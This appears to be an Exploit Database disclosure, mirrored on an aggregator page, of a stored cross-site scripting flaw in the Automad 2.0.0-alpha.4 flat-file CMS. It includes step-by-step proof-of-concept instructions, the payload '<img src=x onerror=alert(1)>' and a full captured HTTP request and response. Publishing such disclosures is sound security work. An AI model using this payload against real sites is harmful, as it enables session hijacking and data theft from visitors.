Automad 2.0.0-alpha.4 – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 799 阅读

• 作者： Jerry Thomas
  日期： 2024-06-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/52056/

• # Exploit Title: Automad 2.0.0-alpha.4 - Stored Cross-Site Scripting (XSS)
  # Date: 20-06-2024
  # Exploit Author: Jerry Thomas (w3bn00b3r)
  # Vendor Homepage: https://automad.org
  # Software Link: https://github.com/marcantondahmen/automad
  # Category: Web Application [Flat File CMS]
  # Version: 2.0.0-alpha.4
  # Tested on: Docker version 26.1.4, build 5650f9b | Debian GNU/Linux 11
  (bullseye)
  
  # Description
  
  A persistent (stored) cross-site scripting (XSS) vulnerability has been
  identified in Automad 2.0.0-alpha.4. This vulnerability enables an attacker
  to inject malicious JavaScript code into the template body. The injected
  code is stored within the flat file CMS and is executed in the browser of
  any user visiting the forum. This can result in session hijacking, data
  theft, and other malicious activities.
  
  # Proof-of-Concept
  
  *Step-1:* Login as Admin & Navigate to the endpoint
  http://localhost/dashboard/home
  
  *Step-2:* There will be a default Welcome page. You will find an option to
  edit it.
  
  *Step-3:* Navigate to Content tab or
  http://localhost/dashboard/page?url=%2F&section=text & edit the block named
  ***`Main`***
  
  *Step-4:* Enter the XSS Payload - <img src=x onerror=alert(1)>
  
  
  *Request:*
  
  POST /_api/page/data HTTP/1.1
  
  Host: localhost
  Content-Length: 1822
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
  Content-Type: multipart/form-data;
  boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv
  Accept: */*
  Origin: http://localhost
  Referer: http://localhost/dashboard/page?url=%2F&section=text
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie:
  Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb
  Connection: close
  
  ------WebKitFormBoundaryzHmXQBdtZsTYQYCv
  Content-Disposition: form-data; name="__csrf__"
  
  49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1
  ------WebKitFormBoundaryzHmXQBdtZsTYQYCv
  Content-Disposition: form-data; name="__json__"
  
  {"data":{"title":"Welcome","+hero":{"blocks":[{"id":"KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph","type":"paragraph","data":{"text":"Testing
  for
  xss","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8","type":"paragraph","data":{"text":"<h1>XSS
  identified by
  Jerry</h1>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"},"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"You
  have successfully installed Automad 2.<br><br><img src=x
  onerror=alert(1)><br>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot","type":"buttons","data":{"primaryText":"Visit
  Dashboard","primaryLink":"/dashboard","primaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingVertical":"0.5rem","paddingHorizontal":"1.5rem"},"primaryOpenInNewTab":false,"secondaryText":"","secondaryLink":"","secondaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingHorizontal":"1.5rem","paddingVertical":"0.5rem"},"secondaryOpenInNewTab":true,"justify":"start","gap":"1rem"},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"}},"theme_template":"project","dataFetchTime":"1718911139","url":"/"}
  ------WebKitFormBoundaryzHmXQBdtZsTYQYCv--
  
  
  *Response:*
  
  HTTP/1.1 200 OK
  
  Server: nginx/1.24.0
  Date: Thu, 20 Jun 2024 19:17:35 GMT
  Content-Type: application/json; charset=utf-8
  Connection: close
  X-Powered-By: PHP/8.3.6
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate
  Pragma: no-cache
  Content-Length: 30`
  
  {"code":200,"time":1718911055}
  
  
  *Step-5:* XSS triggers when you go to homepage - http://localhost/